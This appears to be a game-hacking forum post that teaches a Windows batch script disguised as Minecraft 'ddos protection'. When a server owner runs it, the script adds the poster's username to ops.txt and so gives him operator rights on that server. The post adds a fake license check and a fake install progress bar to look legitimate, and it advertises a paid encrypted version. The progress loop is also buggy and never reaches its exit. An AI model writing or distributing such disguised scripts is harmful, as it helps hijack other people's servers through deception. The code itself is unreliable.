This is a simple and easy program. You can edit it yourself. This is REAL simple....
If you like this idea you can buy an extended and fully encrypted working version here for 3$: https://www.mpgh.net/forum/735-minecr...encrypted.html
DO NOT COPY AND PASTE EVERYTHING.
PLEASE DOWNLOAD (and thank) THE PROGRAM AT THE BOTTOM OF THE PAGE.
THAT WILL NOT CONTAIN THE COMMENTS.
how the program works: adds your username to the OPS.txt so no.. this is no virus or fake..
it's just real obvious.
This is a tutorial so i'm going to tell you how it works.
first: Start by declaring a title for your batch program.
as well as defining f. We will need that later
Code:
@echo off
color 0f
:: color 0f means black background with white text.
Title minecraft server with basic ddos protection
:: define the title
set f=ek3
This defines the basics we need. Now we will add a little section so we make sure the ops.txt exists.
But using ops.txt as a file isn't smart. that's why we use bukkit.yml instead.
Code:
if exist bukkit.yml goto register
:: this checks if bukkit.yml is in the folder. If not it will go to the next line. If so it will go to ":register"
echo Files have not been created yet.
echo launch the server normally and then close it
echo then launch this program again
:: everything with echo in front here. Means TEXT this will display on the screen.
pause >nul
:: pause means the program will pause and not go on untill a button is pressed. >nul hides the message that comes with it.
exit
:: this will exit the program
what we just did was: we made the program check for bukkit.yml. It was not found so it displays: run the server, let it create the files and then close it again.
Now we will go to the :register. Here we will add ourselves to the ops.txt
Not only that. We will add a simple password. This is so simple that if the guy pressed EDIT he will see the code..
Code:
:register
cls
:: cls clears the screen (CLear Screen)
set d=ddos
echo niels1189>>ops.txt
:: this adds your name to the OPS
set code=ased%f%%d%
:: code is set
set /p question=Please enter the license code:
:: asks for the license code. In this case it is: asedek3ddos
if %question% == asedek3ddos goto cr
goto register
echo well the.... I mean: well, that was that. Now we will quickly add an installing part to make it look a bit more realistic.
then again this isn't what you call the best coding ever :P
check the top of the page to buy a better code.
we will now add the last part
Code:
:cr
cls
:: clear screen
echo Correct code.
echo press a button to continue.
pause >nul
cls
echo Installing...
echo please wait
ping localhost -n 3 >nul
:: causes a time delay
:: we will now add a installing progress.. (real fast)
set perc=0
:: percentage
:loopss
if perc == 100 goto dones
echo %perc%%
set /a perc=%perc% + 1
ping localhost -n 1 >nul
goto loopss
:: loops around 100x with a small delay.
:dones
cls
echo done installing.
echo you can run the server normally now.
pause >nul
exit
And there you go. Again. This code is not optimized and i just made it quickly so people could learn a bit more batch as well as
maybe get OP on a few servers.
This works on any server but it's real easy to figure out.
This is a simple and easy program. You can edit it yourself. This is REAL simple....
If you like this idea you can buy an extended and fully encrypted working version here for 3$: https://www.mpgh.net/forum/735-minecr...encrypted.html
https://www.virustotal.com/en/file/2...is/1377805376/
https://virusscan.jotti.org/en/scanre...cea355f24d5335